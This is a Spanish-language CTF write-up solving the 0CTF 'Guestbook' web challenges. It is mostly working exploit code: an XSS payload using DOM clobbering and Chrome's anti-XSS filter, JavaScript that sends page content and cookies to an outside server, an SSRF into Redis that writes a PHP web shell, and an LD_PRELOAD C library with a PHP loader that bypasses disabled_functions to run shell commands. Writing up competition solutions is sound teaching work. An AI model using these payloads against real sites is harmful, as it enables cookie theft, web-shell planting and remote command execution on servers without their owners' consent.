Jelou!


Seguimos vivos después de un intenso fin de semana de sadomaso (3 CTFs simultáneos... -_-'). Al final sacamos pocos flags, pero nos vamos con la moral alta después de haber sido los únicos primeros en resolver Guestbook 2 en 0CTF.

Así que aqui va el write-up:




Esta prueba se dividía en 2 (7 puntos cada una). Empezamos con la primera.

Guestbook part 1

Empezamos con un formulario web y nos dicen varias cosas admin use chrome and use your plaintext secret to find your post y the flag is in the http-only cookie.

<form action="message.php" method="POST">
		<div class="field">
			<label>Secret</label>
			<input type="text" name="secret">
		</div>
		<div class="field">
			<label>Username</label>
			<input type="text" name="username">
		</div>
		<div class="field">
			<label>Message</label>
			<textarea name="message"></textarea>
		</div>
		<div class="field">
			<input type="submit" name="action" value="submit">
		</div>
	</div>
</form>

Tiene bastante pinta de XSS, el problema es que la página donde se refleja filtra los caracteres y lo único que podemos hacer es inyectar en el contexto de string JS.

<script>var debug=false;</script>
<div id="$USERNAME">
    <h2>$USERNAME</h2>
</div>
<div id="text"></div>
    <script>
    data = "$MESSAGE"
    t = document.getElementById("text")
    if(debug){
        t.innerHTML=data
    }else{
        t.innerText=data
    }
</script>

¿Veis la solución? :) Podemos usar "\x3cimg src=x onerror=foo()\x3e" y cuando haga t.innerHTML = data DOM based y listo. El problema es que para eso tenemos que modificar el flujo y hacer que debug = true...

Next step: DOM clobbering + browser antiXSS

Controlamos el campo id de un div, así que si lo llamamos "debug" el DOM clobbering hara que valga [object HTMLDivElement], que es un string no vacio y por lo tanto true. Desafortunadamente esto solo funciona si debug no esta definido, así que vamos a pedirle amablemente a Chrome que se cargue la parte que no queremos.

Nos decían que el administrador utiliza el campo secret para encontrar nuestro post, asi que ya lo tenemos, el antiXSS evitara que el script se ejecute y por lo tanto que debug sea definido.


Nota: Esto no funcionaria con X-XSS-Protection: 1;mode=block o si hubiera un solo script, pero al tener dos separados se elimina el primero y el segundo (el vulnerable) se ejecuta.


Enviamos...

message = "\\x3cimg src=x onerror=\\x22(new(Image)).src=\\x27http://server:9999/liveee\\x27\\x22\\x3e"
username = "debug"
secret = "cacadevaca1<script>var+debug=false;</script>"

Y nos llega una request! :D

Ncat: Connection from 202.120.7.201:58194.
GET /liveee HTTP/1.1
User-Agent: Mozilla/5.0 0CTF by md5_salt
Referer: http://127.0.0.1:8888/admin/show.php?secret=cuaqcuaq2%3Cscript%3Evar+debug%3Dfalse%3B%3C%2Fscript%3E
Accept: */*
Connection: Keep-Alive
Accept-Encoding: gzip
Accept-Language: en-US,*
Host: server:9999

Ahora nos falta sacar la cookie (httpOnly), así que necesitaremos ver que ve el admin:

log=function(e){(new(Image)).src='http://server.net:9999/?log='+btoa(e)};
h=new(XMLHttpRequest);h.open('GET','/admin/show.php',true);
h.onreadystatechange=function(){log(h.responseText)};
h.send();

Con eso nos llega el body con la siguiente información:

<!--
change log:
use http-only cookie to prevent cookie stealing by xss, so flag is safe in cookie
always check /admin/server_info.php for load balancing

to do:
files and folders permission control, disallow other users write file into uploads folder

 -->

El "server_info.php" es un panel tal que así: http://www.yahei.net/tz/tz_e.php, y con ?act=phpinfo nos muestra un PHPinfo. Le mandamos otro XSS:

log=function(e){(new(Image)).src='http://server.net:9999/?log='+btoa(e)};
h=new(XMLHttpRequest);
h.open('GET','/admin/server_info.php?act=phpinfo',true);
h.onreadystatechange=function(){
log(h.readyState+':'+h.status+':'+':'+h.getAllResponseHeaders()+':'+h.responseText);
};
h.send();

Y como refleja la cookie del usuario que la visita... ¡Premio!

flag=0ctf{httponly_sometimes_not_so_secure}; admin=salt_is_admin

Nota: Esta primera parte la resolvimos bastante rápido, pero tuvimos bastantes problemas con los timeouts del PhantomJS que visitaba la pagina, ya que nos cortaba la conexión antes de mandar la request. Se nos fue mucho tiempo con esto :(


Guestbook part 2

Ahora empieza lo divertido! :) En el comentario de la pagina del admin nos dice algo de permisos en la carpeta uploads, si visitamos /uploads nos da un 403, con que ya sabemos por donde empezar.


También hemos sacado alguna información del panel:

Path: /usr/share/nginx/html/
MySQL y Redis corriendo...

MySQL lo utiliza para guardar los mensajes, pero quien instala Redis por placer? ~.^


La primera idea es explotar el XSS como un SSRF (al final se ejecuta en localhost) y comunicarnos con el servicio Redis del puerto 6379. Así que nos instalamos un Redis y empezamos a jugar con curl para ver como controlarlo desde una petición HTTP.


Muy útil el post de @Agarri_FR al respecto: http://www.agarri.fr/kom/archives/2014/09/11/trying_to_hack_redis_via_http_requests/index.html


Básicamente tenemos un comando por linea (los incorrectos los ignorara), así que vamos a usar una petición POST multipart.

POST / HTTP/1.1
Host: 127.0.0.1:6379
Connection: keep-alive
Content-Length: 522
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykBqG7hhDu0eCCTsT
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8

------WebKitFormBoundarykBqG7hhDu0eCCTsT
Content-Disposition: form-data; name="a"

CONFIG SET dir /usr/share/nginx/html/uploads/
------WebKitFormBoundarykBqG7hhDu0eCCTsT
Content-Disposition: form-data; name="a"

CONFIG SET dbfilename cacadevaca.txt
------WebKitFormBoundarykBqG7hhDu0eCCTsT
Content-Disposition: form-data; name="a"

SET PAYLOAD "<?php system($_GET[1]);?>"
------WebKitFormBoundarykBqG7hhDu0eCCTsT
Content-Disposition: form-data; name="a"

BGSAVE
------WebKitFormBoundarykBqG7hhDu0eCCTsT--

Esto es lo que recibe el servidor Redis y nos va a crear un fichero con el contenido que queramos. Nuestro exploit (lo que ejecutara el admin a traves del XSS) queda tal que asi:

f=document.createElement('form');
[
    'CONFIG SET dir /usr/share/nginx/html/uploads/',
    'CONFIG SET dbfilename alizee_1s_l0v3.php',
    'SET PAYLOAD "<?php system($_GET[1]);>"',
    'BGSAVE'
].forEach(function(e){
var i=document.createElement('input');
i.name='a';i.value=e;
f.appendChild(i);
});
f.method='POST';
f.action='http://127.0.0.1:6379/';
f.enctype='multipart/form-data';
f.submit();

Visitamos /uploads/alizee_1s_l0v3.php y el fichero se ha creado, pero no tiene permisos así que no se ejecuta :( Es raro porque por defecto, mi servidor Redis había creado el fichero con 0644.


Y aquí es donde volvemos a perder horaaas buscando otras vías para subir un fichero a través de otros servicios, buscando un uploader... Pero nada. Al final fuimos al IRC a comentarle al admin, y resultó que faltaba darle permisos a la carpeta -_-'


En cualquier caso una vez corregido tenemos shell PHP, ya esta!


Pues no... El PHP tiene todo disabled:

pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,passthru,exec,system,chroot,scandir,chgrp,chown,shell_exec,proc_open,proc_get_status,popen,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server

Y el open basedir: /usr/share/nginx/html/:/tmp/:/proc/.


La prueba nos dice try to get a bash shell and get the flag at /flag, así que vamos a necesitar bypassear los filtros.


*8 de la manana del domingo sin dormir xD*


Después de un rato de jugar con la shell vemos que no hay manera de escapar el basedir (ni a través de MySQL, ftp, ssh, na de na), así que probamos esto https://rdot.org/forum/showthread.php?t=3309


El problema es que el exploit intenta leer el binario en /proc/self/exe que es un enlace a fuera del basedir, y /lib/x86_64-linux-gnu/libc-2.19.so al que tampoco tenemos acceso.


Btw, para subir los ficheros utilizamos lo siguiente:

$f=file_get_contents('http://server/pwn.php');
file_put_contents('poc.php',$f);

La idea que tuvimos fue intentar parchear el exploit para que sacara los offsets directamente de /proc/self/mem en lugar de los binarios. Pero estaba siendo muy overkill, así que paramos para dormir un poco.


El domingo por la tarde cambinando a chamartin... volvimos a ponernos con ello, y encontramos otra alternativa para saltarnos las disabled_functions: https://rdot.org/forum/showpost.php?p=38750&postcount=16


Solo hay que cambiar el path, muy script-kiddie xD


#include 
#include 
#include 
int getuid()
{
char *en;
char *buf=malloc(300);
FILE *a;

unsetenv("LD_PRELOAD");
a=fopen("/usr/share/nginx/html/uploads/.comm","r");
buf=fgets(buf,100,a);
write(2,buf,strlen(buf));
fclose(a); remove("/usr/share/nginx/html/uploads/.comm");
rename("/usr/share/nginx/html/uploads/a.so","/usr/share/nginx/html/uploads/b.so");
buf=strcat(buf," > /usr/share/nginx/html/uploads/.comm1");
system(buf);
rename("/usr/share/nginx/html/uploads/b.so","/usr/share/nginx/html/uploads/a.so");
free(buf);return 0;
}

Compilamos la libreria independiente de la posicion:

$ gcc -c -fPIC a.c -o a.o
$ gcc a.o -shared -o a.so

Y la subimos junto con el exploit php (renombrado a alize3.php, por supuesto):

<?php
putenv("LD_PRELOAD=/usr/share/nginx/html/uploads/a.so");
$a=fopen("/usr/share/nginx/html/uploads/.comm","w");
fputs($a,$_GET["c"]);
fclose($a);
mail("a","a","a","a");
$a=fopen("/usr/share/nginx/html/uploads/.comm1","r");
while (!feof($a))
{$b=fgets($a);echo $b;}
fclose($a); ?>

Visitamos view-source:http://202.120.7.201:8888/uploads/alize3.php?c=ls+-la+/ y...

total 100
drwxr-xr-x  22 root root      4096 Mar  9 14:53 .
drwxr-xr-x  22 root root      4096 Mar  9 14:53 ..
drwxr-xr-x   2 root root      4096 Mar  7 14:25 bin
drwxr-xr-x   3 root root      4096 Mar  7 14:26 boot
drwxr-xr-x  15 root root      4100 Mar 13 13:11 dev
drwxr-xr-x  96 root root      4096 Mar 13 13:20 etc
-r--r-----   1 flag flag        29 Mar  9 13:59 flag
-r-sr-x---   1 flag www-data  8709 Mar  9 14:52 flag_reader
drwxr-xr-x   5 root root      4096 Mar  9 13:59 home
lrwxrwxrwx   1 root root        32 Mar  7 14:26 initrd.img -> boot/initrd.img-4.2.0-30-generic
lrwxrwxrwx   1 root root        32 Mar  7 22:07 initrd.img.old -> boot/initrd.img-4.2.0-27-generic
drwxr-xr-x  21 root root      4096 Mar  9 00:17 lib
drwxr-xr-x   2 root root      4096 Mar  7 22:07 lib64
drwx------   2 root root     16384 Mar  7 22:07 lost+found
drwxr-xr-x   3 root root      4096 Mar  7 22:07 media
drwxr-xr-x   2 root root      4096 Apr 11  2014 mnt
drwxr-xr-x   2 root root      4096 Feb 18 07:12 opt
dr-xr-xr-x 136 root root         0 Mar 13 13:11 proc
drwx------   9 root root      4096 Mar 14 01:42 root
drwxr-xr-x  19 root root       700 Mar 13 22:44 run
drwxr-xr-x   2 root root      4096 Mar  7 14:25 sbin
drwxr-xr-x   2 root root      4096 Feb 18 07:12 srv
dr-xr-xr-x  13 root root         0 Mar 13 14:29 sys
drwxrwxrwt   2 root root      4096 Mar 14 01:53 tmp
drwxr-xr-x  10 root root      4096 Mar  7 22:07 usr
drwxr-xr-x  13 root root      4096 Mar  8 23:24 var
lrwxrwxrwx   1 root root        29 Mar  7 14:26 vmlinuz -> boot/vmlinuz-4.2.0-30-generic
lrwxrwxrwx   1 root root        29 Mar  7 22:07 vmlinuz.old -> boot/vmlinuz-4.2.0-27-generic

Por fin! Ejecutamos /flag_reader y flag:

0ctf{this_is_the_final_flag}


Y hasta aquí hemos llegau! Gracias a la organización por el CTF, la verdad es que hubo pruebas muy chulas, especialmente a md5_salt por su disponibilidad en el IRC y fixear cuando las cosas fallaban, y por último, pero no menos importante, a Alizee (tú sabes porque, preciosa <3).


Saulu2!